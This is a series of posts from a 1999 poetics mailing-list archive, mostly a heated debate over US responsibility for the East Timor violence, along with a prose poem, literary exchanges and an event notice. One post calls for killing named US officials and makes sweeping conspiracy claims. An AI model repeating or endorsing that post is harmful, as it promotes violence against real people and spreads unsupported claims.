229. **Michael Neff**
CAN I believe it?
Wed 15 Sep 1999

I know I will be further scathed here and backchannel insulted because my skepticism knows no bounds, but here is a tiny excerpt from The Nation article that is being pushed in my face as if it is the word of God:

"According to a classified cable on the meeting, circulating at Pacific Command headquarters in Hawaii, Blair, rather than telling Wiranto to shut the militias down, instead offered him a series of promises of new US assistance. "

Fair Questions:

How did the reporter know the above?
How did he get hold of a copy of the classified cable at Pacific Command?
Why would such a cable come from Pacific Command and not the embassy?
And what are the promises? Why aren't they listed here?
And how can anyone not be skeptical?
And is it ok to be skeptical?

REGARDLESS, this has nothing to do with my initial remarks. I just find it funny that this is one of the sources of absolute authority in this matter, for some people.

↑ Index

230. **pete spence**
Re: I can't believe it!!!
Wed 15 Sep 1999

But it's heartening to see this thread become an
>exchange not a flame war.
>
>Brian Lennon

i think the poetics listers are discussing the "sidings" of this east timor situ very well//pete

_____
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↑ Index

231. **pete spence**
Re: I can't believe it!!!
Wed 15 Sep 1999

> *Does anyone know specifics re: the role of Indonesian General Wiranto in the*
> *recent events unfolding in East Timor?*

going by media noise it seems this was well planned but i think the general may have lost control, i think the idea was to have the militia do the dirty work and keep the army out of it also religeousity sure has its place in this mess//pete

_____
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232. **pete spence**
Re: I can't believe it!!!
Wed 15 Sep 1999

> *From: Michael Neff <[redacted]>*
>
> *I'm not an expert on East Timor/Indonesian politics and don't claim to be. I am*
> *commenting specifically on attempts to directly link the US govt (parties,*
> *individuals, policies, some combo thereof) and specific actions or inactions on*
> *its part to these current manifestations of acute human barbarism.*

there was at least one us military spokesman in a recent newsreport who said america has no interest there so thats why there is reticence to be involved, the question here is under the grand new world order bullshit spoken by the US over the last decade, where is the order to come from if "interests or the lack" slows down ANY governments actions where people are being slaughtered , this slowness also includes the farce of "readiness" my own government here in australia are playing et etc et//pete spence

---

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233. **pete spence**
Re: I can't believe it!!!
Wed 15 Sep 1999

> *From: Christina Milletti <[redacted]>*
> *Follow the money. SE Asian Royal Dutch Shell (aka Indonesia), The Lippo Bank, the Asian Tiger money market funds, all stand to lose big in any protracted instability.*
>
> *Given this, is the US administration's reaction a surprise?*

and the list can go on/ but business shouldn't stop moral decisions thru the UN or whereever to do something as quick as possible ..maybe if people wanna do some research they could check out who were in the film crew with yoris ivens when at the end of the 2nd ww he was trying to make a film called INDONESIA CALLING!!!//pete

---

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234. **Thurmon Manson**
Re: I can't believe it!!!
Wed 15 Sep 1999

I defy you to name a single situation involving popular movement overthrow or bud-nippage in which there's been no CIA involvement, or any regime oppressiveness, be it in Turkey, Central America, South America (currently most "addressed" in corporate media is Colombia: CIA and DEA don't like the FARC because they going to take some American/Col Military $!!!), Haiti, Indonesia, Oakland, ad infi, not EXPLICITLY either

1) funded in total
2) funded intellectually

3) endorsed
4) propped by economic threat

by the Pentagon CIA White House or, mightier than each aforesaid, the ten or whatever major US corporations.

I wager that the White House has "decided to act" in East Timor finally not because of public pressure, but because to not do so means to risk losing some of its control there. France could get angry enough and via UN send in a force, adn there would France be now in our Indonesia! Also very related: to research what firms are in and controlling parties in what is called Indonesia, though not appearing as often in corporate media: EXXON the paramount, and many others. Follow the money as the woman at aol.com wrote.

Wiranto is a puppet of the Dept of Defense, whose officials have been tracking E TImor events hourly since roughly 1975 and in other guises previous to it.

I spoke to a deskie in Cohen's office, whose govt chip made him repeat, after each of my statements SPEAK UP SIR I CANNOT HEAR YOU until I was shouting and he was repeating those words, at which point I had to scream TELL SEC COHEN I SAID FUCK YOU!!!

To the web de sol correspondent: it's not a sin to be incredulous, I would've been too at your age. Noam Chomsky constantly repeats anecdotes of his runins with those balkers at anything smacking of "conspiracy theory"--unfortunately it is only a minority, frightened yet in touch and awesome, that sees no dramatization in the Smoking Man's cabal in xFiles, it's called G7 World Bank IMF LockMartin etc, and very much the entity and entities that have most what is called power but really is influence in world "politics" i.e. economic raping and freemarketing.

Read I Don't Have Any Paper So Shut Up by Bruce Andrews for the manner of thought and impulse of those motherfuckers, he nails it so excellently

Today even the the editor of The Ecologist (UK), everybody knows of it since being beat around by Monsanto circa the publication of its Monsanto Issue; the editor was asked, but is Mr Monsanto, I forget the CEO's named, Robert ?, Is Mr. Monsanto really a bad person or just part of a monstrous entity? And Ecologist editor replied like, Oh that's an important good question, and the unspoken (as such) point of his response was: yes he is an awful evil motherfucker!

Don't let's never get spiritual and wonder after the souls of these kind, Cohen, Hurwitz, a hundred more: kill them!

"Some people should die, that's just unconscious knowledge" per Jane's Addiction, although to profess strong beliefs like this will get you booted from an

academic or arts scene or whatever; but I come to find that the people I seldom find but respect most share opinions along that line.

Before I send this I'll point out that if Florida or Kansas or California or any state in US wanted independence from US a la E Timor from Indonesia (and each of the 50 have the right! and reason) the military, the FBI, "local law enforcement" CIA etc, altogether would instantly descend upon that state and beginning destroying anybody active in that ceding or whatever it woul dbe called. Maybe not with pedestrian machetes: no with propaganda first then torture and wicked bullshit devised by professional govt sadists at labs and manufacturers across our great states.

So before going off about "brutes" in Indonesian-backed TImorese militias, think of your Uncle Jack semper fi, or that cop across the block: they'd been scalping your head in flash if you were part of genuine American independence movement. CF L=A=N=G=U=A=G=E's reception, even, by mainstream artists or critics. CF

W A C O

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

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235. Alan Sondheim

For

Wed 15 Sep 1999

=----

For A., K., G., N., A., L., F., B., A., J., P., T., L., J., M., S.

It is morning in the Cafe Lautreamont.
Pierre stares me down. Pierre brings me coffee.
Pierre knows I know he is a function who is not a function.
I am a state to Pierre's operator.
Pierre is the occupier of a role, as in main(Pierre).
Pierre carries and sullies a revolution.
Pierre is part of a surplus economy that I recognize.
I do not acknowledge that I recognize this surplus.
There is a state within which I am in Pierre and a state otherwise.
The state otherwise is to forget Pierre which is to annihilate him.
The revolution moves from person to person, stateless.
The revolution is a state, mobile and wandering.
I am linked to Pierre at the cafe and coupled otherwise to Pierre.

I say, "I am coupled to all the Pierres in the world."
I say, "I did not ask for this. I would not have asked for this."
I say, "I asked for a cup of coffee and nothing more."
I say, "I have paid you for this cup of coffee."
Pierre has not spoken and I assume he sees me as the signified.
I am the signified of a certain exchange, surplus value.
Coupled within exchange, I have no use; it is all circuitry.
Pierre and I are engaged in mutual annihilation.
Pierre gazes at me and the revolution stirs.
Unspeaking, the revolution blindly cauterizes the remnants of language.
I say, "Words no longer account for anything, Pierre."
I say, "These are sounds I am making, of no value whatsoever."
I say, "I lean on other processes, alan.o for example for sustenance."
I say, "As if we would ever be friends," and the revolution stirs.
Something speaks in one and another and speaks forever.
Sometimes speaks at the portal of death and constitution.
I say, "I will live in you, Francoise."
I say, "You will remember me, keep my diaries intact, Francoise."
I say, "You will find a publisher after all," Francoise.
There is silence at the other end of the room.
Pierre brings me coffee and Francoise smiles and says nothing.
There is a slight stirring of the white curtains in the sun.
A breeze is blowing outside and there are sailboats in the harbor.
An accordion, a gypsy, a horse-and-cart, a trolley, a very happy day.

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236. **George Bowering**
Re: Novels of the Sixties
Wed 15 Sep 1999

> *I've tried to read Burrough's Naked Lunch because I'm such a fan of Kerouac and Ginsberb, but I found the text utterly cryptic. I never felt like I had a hold on what was being said and the reading of it was utterly painful, which proved very depressing to me.*
>
> *Aaron Keith*

Does this mean that you do not want to find any reading painful? Why is that? Surely one of the most honourable and usual purposes of a fiction writer of any seriousness would be to make the reading painful. Another might be to make it exhilarating. I have found lots of writing painful (not talking about references here) and returned to it, knowing that it is important. In early years that writing

included _The Cantos_. Later it included _Palimpsest_ and _Geography & Plays_ and _The Casnnibal_. I do not find books by James Lee Burke to be painful; though I read them, I will not reread them. I dont remember ever being deprtessed because a book was painful to read.

George Bowering.

,

fax: [redacted]

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237. George Bowering
Re: believe it!!!
Wed 15 Sep 1999

> | *And why should the US support Timor seceding when we didn't support South*
> | *Carolina, and certainly don't support Quebec?*

Uh, East Timor voted to be independent.

Quebec voted to remain part of Canada.

George Bowering.

,

fax: [redacted]

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238. Kevin Killian
volunteers sought for SPT soiree
Thu 16 Sep 1999

On Saturday, October 2, Small Press Traffic will hold its 5th annual literary soiree and manuscript auction. This year's soiree ("Silver Streak") will be combined with our 25th anniversary celebration and will feature a grand group reading: 25 Writers/25 Years.

Though we have an active soiree committee, we could still use more volunteers to work the event. Any one in the San Francisco Bay area free any time from noon to 10 p.m. that day? We'll be having a soiree committee meeting this Saturday, September 18 at 1 p.m., which all potential volunteers are invited to (backchannel me, Kevin Killian, for details). But you don't have to go to the meeting to be a volunteer.

Indulge your passion for backstage drama! You'll see it'll be a lot of fun!

This includes all of you around the world who will be visiting San Francisco the weekend of October 2. Just because you're a tourist doesn't mean you can't roll up your shirt sleeves and chip in.

Thanks everyone. ... I'm waiting . . .

xxx Kevin K.

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239. **Mark Weiss**
Re: I can't believe it!!!
Thu 16 Sep 1999

Here's an easy one to consider: in rural places everyone owns a machete--self-defense by a majority with machetes is easy and affordable. Where there's a modern army one side's machetes are backed by guns. Whoever supplies the guns and trains the troops is a necessary enabler.

This isn't novel. A lot of extremely poor countries have bloated militaries that pull all the strings because one superpower or another thought they should.

At 07:18 PM 9/14/99 -0400, you wrote:
>I'm not an expert on East Timor/Indonesian politics and don't claim to be.
 I am
>commenting specifically on attempts to directly link the US govt (parties,
>individuals, policies, some combo thereof) and specific actions or
inactions on
>its part to these current manifestations of acute human barbarism. At
worst/best
>then, we are "enabling" to some degree that cannot be measured. However,
can one
>state for certainty that US "involvement" was *necessary* to provoke the
killing
>fields in this case?
>
>In other words, must the US be a factor in enabling socio-psychotic behavior
>(documented throughout history beginning with the Assyrians most notably?)
or can
>it take place independent of the US? And if we admit it can take place
>independent of the US, or has taken place independent of the US, or will take
>place independent of the US, can we state with certainty that this particular
>plague demands US "enabling" behavior?
>
>Or could it have happened anyway?
>

>Are there forces, cultures, history, hatreds inherent to the land there
that play
>a factor? That might even dwarf or render any US enabling inconsequential?
>
>Back to my point about the machetes. These were not funded by the US
govt. Arms
>or not, they have enough arms left to kill. As far as these other tragic
>situations around the globe, are we responsible, enabling all those too,
perhaps
>because we cannot play our role as global policeman too well? I'm
perplexed.
>Perhaps this is exactly why we shouldn't be global policemen. Too much
blame, too
>easy to fault?
>
>
>
>
>Mark Weiss wrote:
>
>> We didn't "cause" it, but we've certainly been an enabling factor: we have
>> registered little complaint when East Timor was annexed and its people
>> slaughtered (some 200,000) of them over the years, ditto the situation in
>> Irian Jaya, ditto the slaughter of ethnic Chinese. Instead, we have
>> consistently stroked the Indonesian govt for being anticommunist, and that
>> stroking has taken the form of ytraining and supplying their military,
>> contributing greatly to its ability to overwhelm the rest of govt.
>>
>> At 01:14 PM 9/13/99 -0400, you wrote:
>> >Pete,
>> >
>> >Before I write anyone, help me here, if you can. I'm not following this
>> line of
>> >accusation. I need to be clear.
>> >
>> >Since we've had involvement in Indonesia, it must be our fault that the
>> >Indonesian army and brother gangs are slaughtering people in churches,
>> hacking
>> >them machetes? Did they get the machetes from America too? I suppose
if
>> their
>> >govt hadn't bought arms from us years ago then all would be peaceful?

This
>> >sounds naive to the point of absurdity.
>> >
>> >I see no connection with what you are saying and the psychotic rampage
fest
>> >going on in Timor. You've noted that Kissinger, etc, visited Timor and
>> then the
>> >slaughters began. Is there an association here? If so, can you link
it for
>> >me? I don't see it from what you are saying.
>> >
>> >Must we blame the American gov for it, are we compelled? There are
those who
>> >believe the US govt manufactures tornadoes to chase them around and
wreck
>> their
>> >barns. I don't believe that either, but thousands are convinced.
>> >
>> >And why should the US support Timor seceding when we didn't support
South
>> >Carolina, and certainly don't support Quebec? Also, plenty of money we
send
>> >overseas, in one form or another, gets redirected and wasted. Witness the
>> >diversion of funds by Russian mafia. We turned the other way on Savac
>> (sp?) in
>> >Iran, though our intelligence knew they were out of control, but did we do
>> the
>> >same in Indonesia? And if we did, does this really account for the
>> murdering
>> >we see now?
>> >
>> >I'm listening. Perhaps you can educate me, flow chart me, graph me, time
>> line
>> >me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or
>> Moynihan or
>> >Chuck Rob or whoever in any conspiratorial setting, ignited and guided
the
>> >genocidal gene that compels large groups of people to willfully set
fires to
>> >other large groups of people.
>> >
>> >Until you do, I'm not writing anyone.

>> >
>> >Mike
>> >
>> >
>> >pete spence wrote:
>> >
>> >> please put this out to all mailartists for action. also send a protest
>> >> to:[redacted]
>> >> [redacted]
>> >> [redacted]
>> >> thanks pete spence
>> >>
>> >> speak up and out about East Timor. It may also be just
>> >> >as good
>> >> >and probably easier to protest the American gov't for their ongoing
>> role in
>> >> >the slaughter and oppression of the East Timorese. It was the American
>> >> >Gov't. that paid for and supervised the original Indonesian
invasion, and
>> >> >the American gov't is trying hard to escape culpability with ambiguous
>> >> >declarations (coming from such shits as Madeline Albright) about the
>> >> >chaotic
>> >> >and oppressive state of affairs while also trying to take any potential
>> >> >actions and tie them up in red tape. Such action clearly gives the
>> >> >Indonesian gov't has a chance to tie up power once again while everyone
>> >> >else
>> >> >takes their time designating panels and working groups. Since a
visit by
>> >> >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
>> >> >government, using mostly US-made and US-paid-for weapons and military
>> >> >intelligence support, has killed between 1/4 and 1/3 of the original
>> >> >inhabitants. That's about 200,000-300,000 people. We're talking
>> >> >concentration camps between 1975-1979. Paid for by US taxpayers.
Certain
>> >> >people meant business when it all started 24 years ago; I don't
think they
>> >> >mean any less harm now. If the US supported the democratic efforts
of the
>> >> >East Timorese none of this probably would have happened.

>> >> >
>> >> >http://www.freetimor.com/
>> >> >
>> >> >http://www.lbbs.org/ZNETTOPnoanimation.html
>> >> >
>> >> >http://www.motherjones.com/east_timor/
>> >> >
>> >> >http://www.etan.org/
>> >> >
>> >> >regards,
>> >> >Patrick Herron
>> >> >
>> >> >
>> >> >>so what the way i see it.. maybe better protest to the
>> >> >indonesian government on the handling of the east timorese might be
a
>> >> >better
>> >> >usage of your time; [redacted]
>> >> >
>> >> >thanks pete spence
>> >> >
>> >> >_____
>> >> >Get Your Private, Free Email at http://www.hotmail.com
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240. John Tranter
Bunting in Persia
Thu 16 Sep 1999

I'm not trying to deflect the worthwhile political drift of the List here, but I've always wondered just what Basil Bunting was doing in Iran as a British spy.

My Hutchinson Encyclopeda says:

"During World War II, Iran was occupied by British, US, and Soviet troops until 1946. Anti-British and anti-American feeling grew and in 1951 the newly elected prime minister, Dr Muhammad Mossadeq, obtained legislative approval for the nationalilzation of Iran's largely foreign-owned petroleum industry. With US connivance, he was deposed in a 1953 coup and the dispute over nationalisation was settled the following year when oil-drilling concessions were granted to a consortium of eight companies. "

Basil?

Basil?

-- John Tranter, editor, Jacket magazine

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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241. **Mark Prejsnar**
supporting murder
Thu 16 Sep 1999

This is on target...and an important point. If you go over US coverage over the years, the media first refused to pay ANY attention, after the invastion and occupation. To a very large extent, it was Chomsky who forced the US intellectual and media sturctures to finally begin to acknowledge the existence of E. Timor..(and that took many years). altho they did not acknowledge his main point: the US is squarely responsible for the crimes there..... THEN after a few years with some coverage, all the networks and wire services and the NYT began using the term "separatist"-- in effect makng clear thru their decisions about language that they endorsed the legitimacy of the savage occupation.

Mp

On Wed, 15 Sep 1999, daniel bouchard wrote:

> *| And why should the US support Timor seceding when we didn't support South*
> *| Carolina, and certainly don't support Quebec?*
>
> *"... while the East Timorese independence movement is commonly called*
> *'separatist,' that makes as much sense as calling the French resistance to*
> *the Nazi occupation*
> *'separatist')..."*
>
> *listening?*
>
> *See <http://www.zmag.org/CrisesCurEvts/Timor/qanda.htm>*
> *for details.*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*

Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
<<<<<<<<<<<<<<<

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242. Michael Neff
US/Indonesia: I CAN'T Believe it!
Thu 16 Sep 1999

Here are my closing arguments and observations regarding the violence in Indonesia:

Restating for the final time, my original point: the macro politic and conspiracy models presented here in various forms and containing various actors, all designed to explain and assign responsibility to the psychotic group behaviors ongoing in Indonesia for a very long time, are inadequate. In some ways they are superfluous, and in other ways peripheral. Facts are mixed with fiction and assumption. But they all have the same avowed goal, to heap America with blame for the killings. Every iota of energy is dedicated to making the US govt, whether Kissinger or NSA or whoever, or some American entity or official or some combination thereof directly responsible for the massacres.

Two of the more "persuasive" arguments for making the US responsible for the many years of carnage are as follows. The US defeated a UN resolution at some point in time which would have sanctioned or somehow prevented Indonesia from conducting the slaughter campaigns. This idea that the UN could have prevented the violence with a resolution of any kind is at once laughable and pathetic. Since when do dictators and police squads and fanatics forgo hostilities as soon as the UN wags a finger at them? The UN can place troops on the ground and be so hamstrung by bureaucracy, cowardice, and politics that the offenders can feel free to kill right before the eyes of UN officers! The second argument goes, the US trained elements of the Indonesian army, elements of the Indonesian army slaughter people, ergo, the US is responsible. This is the same as saying, a police academy trains police, some of them use their skills and position to commit crimes, ergo the police academy is responsible. But this is absurd. For example, when cops are arrested for drug dealing, shakedowns, brutality, etc. in New Orleans, NY, or DC, does a cry go up for the heads of police academy officials? NO, the cops are responsible and they must pay.

This is an important point: PRIMARY RESPONSIBILITY MUST LIE WITH THOSE WHO ARE DIRECTLY ENGAGED IN THE ATROCITIES, those pulling the triggers, wielding the machetes. How can it be otherwise? Eichman didn't get off, and neither did other Nazis after WW II. They were culpable. Again, this is not to say that US hasn't stupidly and unethically played a role in training elements of the Indonesian military (witness what the homicidal maniacs in Guatemala do with their training). But back to the main point, trained by US or not, the theater of conflict and hatred and the means to kill exist regardless. Savac in Iran would have existed in one form or another regardless of American money to the Shah or any number of military advisors and CIA cretins skulking about, because the social and political conditions which made Savac a force existed independent of the US!

In other words, there are other factors, other models which more closely explain the group behaviors in these theaters of conflict.

I'm willing to bet that if you delved deeply into Indonesian society, local politics, regional social orders, etc. you would find a complex of animosities, violent history, perhaps even tribe-like blood feuds, and more that go towards explaining the situation, perhaps even making the US "involvement" seem in the final analysis largely irrelevant. Then you have the corruption of the Indonesian govt, army corruption, a complex of ambitions, power struggles, etc. All these must be factored in.

In other words, the macro models presented so far are too simplistic to explain the repeated violence.

In general, and regardless of my original point, it is evident to me from the some of the posts here and backchannel communications to me of a vitriolic nature, that fanaticism can cloud judgement, and that errors of logic are being made, not to mention utterly subjective interpretations of historical facts and outright falsehoods.

Much of the "evidence" can be debated or at least treated with a skeptical eye, e.g., the article by the reporter who claims to have seen a classified cable sent to Pacific Command and who speaks to unknown gov officials who are leaking to him. Perhaps there is some Pulitzer seeking here, and perhaps it is all true, but skepticism should be exercised. Hypocrisy can become evident at such time those who profess the media is part of the conspiracy then turn around and accept a national media source as gospel as soon as it fits in with their predisposition.

There are at least three different versions which attempt to prove to me (regardless of the real point I was attempting to make) that America is responsible for the years of killing fests in Indonesia (and even elsewhere!). These individuals should get together and compare notes, get it straight. Either Chevron or

the Pacific Command or Kissinger or the NSA or whoever is the main culprit; and then all the house of card assumptions that go along to make a whopping good and fun conspiracy theory. These individuals have events unfolding differently, posit competing reasons for the same behavior on the part of the militias, various American entities behind the scenes, etc., but like fanatics of competing religions, they accept the existence of one God, or in this case, one Satan America.

As far as accepting on face value what conspiracy theorists say relative to blaming America for the many years of pogrom-like rages and methodical brutality, that proves impossible, for given the level of fanaticism as evidenced by backchannel communications to me laced with scathing insults and generally embittered ego mania (e.g., I'm a lazy ass idiot, ugly mouthed, an embarassment, neanderthal, and equal to a state dept hack)--and all erupting on me in quite sudden and uncalled for fashion--one cannot help but conclude that like true zealots, these maze-brained individuals will only seek out and report on those sources of information most likely to confirm their viewpoint. In other words, they are too religious to be credible, having erected their own gods and belief system which sustains them. Pavlovian leftism, or rightism, the behavior is always the same and credibility is dashed. Even if a grain of truth is present, it is submerged in twaddle and invective.

These are the same people who argue that Marxism is a credible political alternative and that the shout of freedom heared in eastern Europe many years ago was nothing but a CIA manipulation. They only have one drum and they bang it continuously while chanting America is Evil, America is Evil, thereby seeking the solace of moral high ground and community forever lost to them in the sixties.

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243. Taylor Brady
Naming Names
Thu 16 Sep 1999

This, from "Moving Gently on East Timor," an article by Russell Mokhiber and Robert Weissman, housed at Z Magazine's website: http://www.zmag.org/CrisesCurEvts/Timor/mokweiseast_timor.htm Should go some way toward addressing the question "Who stood (and stands) to gain?" From the most immediate perspective, confined to East Timor only, the oil companies named below would probably emerge as the largest investment interests, in terms of their speculating on the value of the oil deposits in the Timor Gap.

---------- "We have myriad interests" in Indonesia, explained State Department spokesperson Jaime Rubin in one of his daily briefings, "and what our job is is to try to balance those various interests."

Others in the government and chattering class, such as Eleanor Clift of Newsweek, echoed this basic sentiment. The United States should be "realistic" in setting its policy on East Timor, they urged, noting the multiple U.S. "interests" in Indonesia and the importance of promoting "stability."

Since the prescription was to balance these "interests" in "stability" against the lives of the Timorese, it is worth identifying what they are.

"We have a business interest," said Rubin in identifying competing U.S. interests in Indonesia. That is, the U.S. government wants to protect U.S. investments in Indonesia -- Nike's subcontractor factories, the mines of Freeport McMoRan, the oil drilling of Texaco, Chevron and Mobil. Strong diplomatic pressure on Indonesia might conceivably have led to the revocation of concessions and privileges for U.S. corporations, worried the practitioners of realpolitik.

Worse, from this point of view, was the possibility that support for the Timorese will somehow flare up Indonesian separatist movements in Aceh (where Mobil is heavily invested) and Irian Jaya (where Freeport McMoRan runs the world's largest gold mine).

A broader U.S. business interest was in maintaining the flow of IMF and World Bank money to Indonesia, so the country maintains its commitment to the "structural adjustment" policies which require it to remove restrictions on foreign investment, further orient its economy to exports, privatize government enterprises and cut subsidies to the poor.

Additionally, given the precarious state of the Indonesian economy, and the success of the IMF in deepening Indonesian dependence on foreign money flows, a sudden cut off of IMF and Bank monies might in fact send a harmful shock to the economy (whatever the long-run benefits of severing ties with the international financial institutions). The announced cut off of funds is actually a suspension of future monies not yet allocated, and is only temporary, so the feared effect on the international markets has been muted.

Of course, it would be misleading to say the U.S. government was slow to act in Indonesia/East Timor only because it wanted to protect Nike and other U.S. multinationals. In addition to the commercial and broader economic stability issues, the U.S. foreign policy and military establishments attach great geopolitical importance to maintaining good ties with the Indonesian government and especially the Indonesian military (viewed as a counterweight to China and a dependable regional ally). ----------

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244. Patrick Herron

Re: I can't believe it!!!

Thu 16 Sep 1999

> *Perhaps only when someone bursts the bubble of the New Model Poetics Army do we get down to actually conversing with each other. My guess is, it's less likely that Mike Neff doubts the complicity of the US in evil deeds than that he found the assumption of privilege regarding "the real story" to be unwarranted. I guess it's too much to ask of the medium that we not post initially in haste. But it's heartening to see this thread become an exchange not a flame war.*

Brian Lennon

Good point Brian. The philosophical position I take is that there are indeed features of the world that we can communicate to each other, that there may be facts about the world, that facts are possible. It seems the word "fact" is somewhat of a curse word these days. that's OK, though I am politically suspect of such a philosophical position. (Well, OK, I am suspect of both positions, actually, b/c just as a person can use "truth" as a banner to harm people, others can use the banner of "no such thing as truth" to the very same harmful end.)

I do find it wise to believe there are many viewpoints and mental constructions in the world, and I also find it wise to question the very possibility of a "true" metaphysic, or metaphysics itself. However, if I see people manipulating other people with certain exploitative intentions and those intended events happen, I find it hard to admit that such facts about the perceived causality are inadmissible or unprivileged. they are privileged, perhaps in terms of their possibility. And I believe that perceptions frequently overlap and have commonalities. (I have to take such a notion on faith alone, as there is no way to even verify even the existence of other minds.) There are facts / is knowledge about the world, perhaps constructed of these overlapping perceptions, perhaps resulting from an actual ultimate reality, (that's not for our minds to really know) and language often comes up short trying to encapsulate and relate those ideas flawlessly. I also believe we can still try to approximate accuracy. Call me naive, or a platonist, or something else. It's OK, I've heard it before.

As for this army you mention, i don't know what you mean. I post in haste sometimes, as what is happening is very upsetting. people are being slaughtered by the thousands, and i initially knee-jerk into a reaction that says, "how or why would you say this is not the real story"? If I flamed, i apologize. I'm not exactly a diplomat. But it did seem he actually questioned the very idea that there was anything going on beyond what we hear and read in the major US media, that there is a better model, beyond what we just perceive from listening to NPR, for instance. But perhaps then there's no "real story" about

what Mike was saying. ;) regardless, I pass no judgment, cast no aspersions on Mike, by any stretch.

: P
Patrick Herron

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245. **Patrick Herron**
Re: I can't believe it!!!
Thu 16 Sep 1999

This isn't my point. We're off track. My comments were directed to this statement by Peter Spence: "It may also be just as good and probably easier to protest the American gov't for their ongoing role in the slaughter and oppression of the East Timorese."

That was my statement, not Pete's. He excerpted an e-mail I sent him.

> *The words "ongoing role in the slaughter and oppression" makes me think that like Nazis in the Ukraine, we are there with a policy which places active operatives in the field who are promoting and directing hacking gangs, resident psychos, and Indonesian army units to slaughters, rapine, burnings, church massacres, etc. etc. etc.*

then the words had their intended effect.

> *US doesn't have to grant imprimatur to any dictator to begin slaughter, forced relocations, tortures, etc. This kind of thing happens all the time and is happening in other places and climes without imprimaturs.*

Yeah, but no one said anything to the contrary. No one said it's always the US's fault. So I don't know if you're arguing with anyone here.

> *The dictator, the state is imprimatur in of itself and always has been, an arrogance which breeds intolerance at best and secret police mechanisms at worst. Such bodies and culture require no Madeline Albright, Kissinger, Ford, or whoever to lend them authority to oppress.*

So what? I can safely say that if the US didn't do this shit the genocide probably wouldn't have happened. The US is not required for genocide. The British can do it, the French, the Dutch, the Belgians, the Indonesians, the Brazilians, and so on, can all cause genocide. No one here is arguing with that. However, keep in mind most of the Nazis in the Gehlen Org found safe haven in employment with the US (CIA, mostly) after WWII and their legacy has a profound effect on what happens when the US is involved. And unfortunately the US has had a hand in most genocides since WWII. Some say that's the price for power

or for protecting American "freedom;" some say it's necessary to preserve or increase wealth.

> *It's happened many times before, and will again.*

Yes, sad but true.

: p
Patrick Herron

Taylor Brady wrote:

> A few points:
>
> 1) Kissinger's "visit" was considerably more instrumental than the
> "chat-and-tea" image might otherwise conjure one to believe. It was rather,
> the U.S. State Department's imprimatur and guarantee of military assistance
> to a regime embarked on a series of "policy initiatives" which included,
> most notably, a) the slaughter and forced relocation of much of its own
> peasantry, labor leaders and movement members, intellectuals, etc., in the
> name of a defense against communism; and b) the invasion and annexation of
> Timor, resulting in a brutal occupation which left nearly a quarter of a
> million dead. This, while the U.S. (among others - recently, the role of
> Japan and Australia would also bear some scrutiny) continued (and continues,
> notwithstanding Clinton's half-assed "retraction of assistance") to provide
> the proverbial "military, technical and economic aid" to the Indonesian
> regime. This isn't a matter of having bought arms years ago, but one of
> receiving - until this week, and that only if Clinton's retraction is to
> taken at face value - ongoing direct support from the U.S. and other
> armaments-producing nations. Thus, while the machetes might be a domestic
> industry in Indonesia, the rifles, troop transport vehicles, paramilitary
> training, etc., most certainly are not. This aid has been continued under
> recent administrations with the rationalization that it's the Indonesian
> military itself that can be counted on to bring the militias back into line.
> For the sheer ridiculousness of this claim, if one still needs it
> substantiated, one might turn to Alan Nairn's recent reports on Pacifica
> Radio, detailing the intimate relationship between the army and the

> militias. But other sources are many and well-documented. If you have web
> access, you might take a look at the East Timor Action Network's web site:
> www.etan.org
> 2) The above would seem to have some bearing on your assertion that East
> Timor is attempting to "secede" from a legitimate national government -
> which is simply not the case. East Timor, as an Indonesian territory, is the
> result of a forcible annexation sponsored by U.S. and other interests. Many
> of the key figures in the initial "sponsorship" remain in positions of power
> today. In other words, this is about as far from a quixotic attempt to
> rectify a distant and tragic "other-people's" history as you can get.
> 3) You ask: "We turned the other way on Savac we see now (sp?) in Iran,
> though our intelligence knew they were out of control, but did we do the
> same in Indonesia? And if we did, does this really account for the
> murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't
> simply a case of turning the other way, but a direct outgrowth of deliberate
> policies of military and economic support pursued by the U.S., Japan and
> other militarized nations. And although the point has now been reached at
> which the killings more than likely cannot be stopped without some sort of
> direct intervention, the extreme probability was, until quite recently, that
> the Indonesian regime simply could not have pursued its policies of
> aggression without the direct support of the U.S. and its allies - that, in
> other words, the annexation itself would have been unfeasible and
> unsustainable without that aid. Until very recently, a cut-off of such
> support might have sufficed to avert the campaign of terror now being
> pursued. There is no "genocidal gene" - and such pseudo-explanations
> ("they're just nuts _over there_, who can understand their motivations?"),
> I'd warrant, most often mark the site of a real and determinate chain of
> events, the complicity of one's own nation in which is precisely what the
> resort to racialized typologies attempts to obscure.
>
> -----Original Message-----
> From: UB Poetics discussion group [mailto:[redacted]]

> On Behalf Of Michael Neff
> Sent: Monday, September 13, 1999 10:15 AM
> To: [redacted]
> Subject: Re: I can't believe it!!!
>
> Pete,
>
> Before I write anyone, help me here, if you can. I'm not following this
> line of
> accusation. I need to be clear.
>
> Since we've had involvement in Indonesia, it must be our fault that the
> Indonesian army and brother gangs are slaughtering people in churches,
> hacking
> them machetes? Did they get the machetes from America too? I suppose if
> their
> govt hadn't bought arms from us years ago then all would be peaceful?
This
> sounds naive to the point of absurdity.
>
> I see no connection with what you are saying and the psychotic rampage
fest
> going on in Timor. You've noted that Kissinger, etc, visited Timor and
then
> the
> slaughters began. Is there an association here? If so, can you link it
for
> me? I don't see it from what you are saying.
>
> Must we blame the American gov for it, are we compelled? There are those
> who
> believe the US govt manufactures tornadoes to chase them around and
wreck
> their
> barns. I don't believe that either, but thousands are convinced.
>
> And why should the US support Timor seceding when we didn't support
South
> Carolina, and certainly don't support Quebec? Also, plenty of money we
send
> overseas, in one form or another, gets redirected and wasted. Witness
the

> diversion of funds by Russian mafia. We turned the other way on Savac
> (sp?) in
> Iran, though our intelligence knew they were out of control, but did we do
> the
> same in Indonesia? And if we did, does this really account for the
> murdering
> we see now?
>
> I'm listening. Perhaps you can educate me, flow chart me, graph me, time
> line
> me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or
> Moynihan or
> Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
> genocidal gene that compels large groups of people to willfully set fires to
